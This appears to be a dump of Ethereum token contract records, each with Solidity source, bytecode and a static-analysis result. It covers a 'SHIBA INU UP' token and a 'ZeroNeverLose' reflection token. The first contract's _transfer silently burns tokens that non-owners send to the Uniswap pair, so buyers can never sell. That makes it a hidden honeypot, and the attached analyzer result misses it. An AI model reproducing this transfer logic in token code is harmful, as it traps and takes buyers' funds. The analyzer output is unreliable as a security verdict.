Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SHIBAINU_UP is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _initialSupply = 1e15*1e18; string private _name = "SHIBA INU UP"; string private _symbol = "SHIBUP"; uint8 private _decimals = 18; address private routerAddy = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswap address private dead = 0x000000000000000000000000000000000000dEaD; address private binance = 0x3f5CE5FBFe3E9af3971dD833D26bA9b5C936f0bE; address private pairAddress; address private _owner = msg.sender; constructor () { _mint(address(this), _initialSupply); _transfer(address(this), dead, _initialSupply*50/100); _transfer(address(this), binance, _initialSupply*20/100); } modifier onlyOwner() { require(isOwner(msg.sender)); _; } function isOwner(address account) public view returns(bool) { return account == _owner; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function add_liq() public payable onlyOwner { IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(routerAddy); pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _initialSupply); uniswapV2Router.addLiquidityETH{value: msg.value}( address(this), _initialSupply*30/100, 0, // slippage is unavoidable 0, // slippage is unavoidable _owner, block.timestamp ); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burn(uint256 amount) public virtual override { _burn(msg.sender, amount); } function burnFrom(address account, uint256 amount) public virtual override { uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, msg.sender, decreasedAllowance); _burn(account, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); if(sender == _owner || sender == address(this) || recipient == address(this)) { _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else if (recipient == pairAddress){ } else{ _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } receive() external payable {} }
0x6080604052600436106100ec5760003560e01c806342966c681161008a57806395d89b411161005957806395d89b411461025e578063a457c2d714610273578063a9059cbb14610293578063dd62ed3e146102b3576100f3565b806342966c68146101f457806370a082311461021657806376c11b941461023657806379cc67901461023e576100f3565b806323b872dd116100c657806323b872dd146101725780632f54bf6e14610192578063313ce567146101b257806339509351146101d4576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610150576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6102d3565b60405161011a9190610d84565b60405180910390f35b34801561012f57600080fd5b5061014361013e366004610cb4565b610365565b60405161011a9190610d79565b34801561015c57600080fd5b5061016561037b565b60405161011a9190610f5d565b34801561017e57600080fd5b5061014361018d366004610c74565b610381565b34801561019e57600080fd5b506101436101ad366004610c04565b6103ea565b3480156101be57600080fd5b506101c76103fe565b60405161011a9190610f66565b3480156101e057600080fd5b506101436101ef366004610cb4565b610407565b34801561020057600080fd5b5061021461020f366004610cdf565b61043d565b005b34801561022257600080fd5b50610165610231366004610c04565b61044a565b610214610465565b34801561024a57600080fd5b50610214610259366004610cb4565b6106de565b34801561026a57600080fd5b5061010d61072a565b34801561027f57600080fd5b5061014361028e366004610cb4565b610739565b34801561029f57600080fd5b506101436102ae366004610cb4565b610788565b3480156102bf57600080fd5b506101656102ce366004610c3c565b610795565b6060600480546102e290610fe2565b80601f016020809104026020016040519081016040528092919081815260200182805461030e90610fe2565b801561035b5780601f106103305761010080835404028352916020019161035b565b820191906000526020600020905b81548152906001019060200180831161033e57829003601f168201915b5050505050905090565b6000610372338484610839565b50600192915050565b60025490565b600061038e8484846108ed565b6103e084336103db85604051806060016040528060288152602001611091602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906107ff565b610839565b5060019392505050565b600a546001600160a01b0390811691161490565b60065460ff1690565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103729185906103db90866107c0565b6104473382610ae0565b50565b6001600160a01b031660009081526020819052604090205490565b61046e336103ea565b61047757600080fd5b6000600660019054906101000a90046001600160a01b03169050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104ca57600080fd5b505afa1580156104de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105029190610c20565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561054a57600080fd5b505afa15801561055e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105829190610c20565b6040518363ffffffff1660e01b815260040161059f929190610d24565b602060405180830381600087803b1580156105b957600080fd5b505af11580156105cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f19190610c20565b600960006101000a8154816001600160a01b0302191690836001600160a01b031602179055506106243082600354610839565b806001600160a01b031663f305d71934306064600354601e6106469190610fac565b6106509190610f8c565b600a546040516001600160e01b031960e087901b16815261068693929160009182916001600160a01b0316904290600401610d3e565b6060604051808303818588803b15801561069f57600080fd5b505af11580156106b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106d89190610cf7565b50505050565b600061070e826040518060600160405280602481526020016110b9602491396107078633610795565b91906107ff565b905061071b833383610839565b6107258383610ae0565b505050565b6060600580546102e290610fe2565b600061037233846103db856040518060600160405280602581526020016110dd602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906107ff565b60006103723384846108ed565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000806107cd8385610f74565b9050838110156107f85760405162461bcd60e51b81526004016107ef90610e5c565b60405180910390fd5b9392505050565b600081848411156108235760405162461bcd60e51b81526004016107ef9190610d84565b5060006108308486610fcb565b95945050505050565b6001600160a01b03831661085f5760405162461bcd60e51b81526004016107ef90610f19565b6001600160a01b0382166108855760405162461bcd60e51b81526004016107ef90610e1a565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108e0908590610f5d565b60405180910390a3505050565b6001600160a01b0383166109135760405162461bcd60e51b81526004016107ef90610ed4565b6001600160a01b0382166109395760405162461bcd60e51b81526004016107ef90610dd7565b610944838383610725565b6109818160405180606001604052806026815260200161106b602691396001600160a01b03861660009081526020819052604090205491906107ff565b6001600160a01b03808516600081815260208190526040902092909255600a541614806109b657506001600160a01b03831630145b806109c957506001600160a01b03821630145b15610a50576001600160a01b0382166000908152602081905260409020546109f190826107c0565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a43908590610f5d565b60405180910390a3610725565b6009546001600160a01b0383811691161415610a6b57610725565b6001600160a01b038216600090815260208190526040902054610a8e90826107c0565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108e0908590610f5d565b6001600160a01b038216610b065760405162461bcd60e51b81526004016107ef90610e93565b610b1282600083610725565b610b4f81604051806060016040528060228152602001611049602291396001600160a01b03851660009081526020819052604090205491906107ff565b6001600160a01b038316600090815260208190526040902055600254610b759082610bc2565b6002556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bb6908590610f5d565b60405180910390a35050565b60006107f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506107ff565b600060208284031215610c15578081fd5b81356107f881611033565b600060208284031215610c31578081fd5b81516107f881611033565b60008060408385031215610c4e578081fd5b8235610c5981611033565b91506020830135610c6981611033565b809150509250929050565b600080600060608486031215610c88578081fd5b8335610c9381611033565b92506020840135610ca381611033565b929592945050506040919091013590565b60008060408385031215610cc6578182fd5b8235610cd181611033565b946020939093013593505050565b600060208284031215610cf0578081fd5b5035919050565b600080600060608486031215610d0b578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b81811015610db057858101830151858201604001528201610d94565b81811115610dc15783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610f8757610f8761101d565b500190565b600082610fa757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610fc657610fc661101d565b500290565b600082821015610fdd57610fdd61101d565b500390565b600281046001821680610ff657607f821691505b6020821081141561101757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461044757600080fdfe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122059b83b4794dceeccb7e661cc2d1ef898051ddc5ea4966fc9997cc4fa48f5fae764736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,993
0xe68521ba9411cea751fda114ddae0f88dd012c0c
//ZeroNeverLose ($ZZ) //LP 100% burn //2% Deflationary yes //Telegram: https://t.me/zeroneverlose_chat //100% decentralized //Buyback and burn // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ZeroNeverLose is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ZeroNeverLose"; string private constant _symbol = "ZZ"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 20000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 1; uint256 private _teamFee = 2; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 1; _teamFee = 2; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(20); uint256 tTeam = tAmount.mul(TeamFee).div(20); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612eef565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a12565b61045e565b6040516101789190612ed4565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613091565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129c3565b61048a565b6040516101e09190612ed4565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612935565b610563565b005b34801561021e57600080fd5b50610227610653565b6040516102349190613106565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a8f565b61065c565b005b34801561027257600080fd5b5061027b61070e565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612935565b610780565b6040516102b19190613091565b60405180910390f35b3480156102c657600080fd5b506102cf6107d1565b005b3480156102dd57600080fd5b506102e6610924565b6040516102f39190612e06565b60405180910390f35b34801561030857600080fd5b5061031161094d565b60405161031e9190612eef565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a12565b61098a565b60405161035b9190612ed4565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a4e565b6109a8565b005b34801561039957600080fd5b506103a2610af8565b005b3480156103b057600080fd5b506103b9610b72565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ae1565b6110c8565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612987565b61120e565b6040516104189190613091565b60405180910390f35b60606040518060400160405280600d81526020017f5a65726f4e657665724c6f736500000000000000000000000000000000000000815250905090565b600061047261046b611295565b848461129d565b6001905092915050565b60006512309ce54000905090565b6000610497848484611468565b610558846104a3611295565b610553856040518060600160405280602881526020016137ca60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190